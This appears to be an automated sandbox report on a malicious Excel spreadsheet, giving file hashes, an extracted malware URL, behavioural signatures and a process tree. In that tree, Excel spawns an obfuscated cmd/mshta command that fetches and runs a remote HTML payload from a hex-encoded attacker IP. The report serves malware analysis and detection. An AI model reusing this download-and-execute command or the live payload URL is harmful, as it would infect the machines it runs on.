Analysis
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max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 17:46
Behavioral task
behavioral1
Sample
0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
Resource
win10v2004-20241007-en
General
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Target
0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
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Size
101KB
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MD5
5c90822e2ddbf2ba6c0c637308ed6646
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SHA1
feb66ac915b16028aee34f3eae7145afcfecf48a
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SHA256
0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14
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SHA512
2cd0ad3a8e27242eb33c3d2cea72dbfc6a43ea432d557d08c67f80a5a79d6ac633b48a9b65615ca39950d770db6823df3e15e8d288013af1ebc2ca650018f487
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1956 3144 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 21 1636 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3144 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE 3144 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3144 wrote to memory of 1956 3144 EXCEL.EXE 87 PID 3144 wrote to memory of 1956 3144 EXCEL.EXE 87 PID 1956 wrote to memory of 1636 1956 cmd.exe 89 PID 1956 wrote to memory of 1636 1956 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
PID:1636
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD59b6b267c4aed6b43bfb0ebfedd2f6e02
SHA1653e56cd9a260ea8fd0b1cf95b019e13de814ba8
SHA256bfce9f581ad8e4d39d06303959f482860d07c6091f5d77909df4b3b2e0c74bb8
SHA512c5d060f09d268148d2354472dc2310c546fe8b4505fe0270998c0fd6c98baa964e7f466cd99ae5cb0ac658fc54737a202b56e439758849137d684f5845bd4559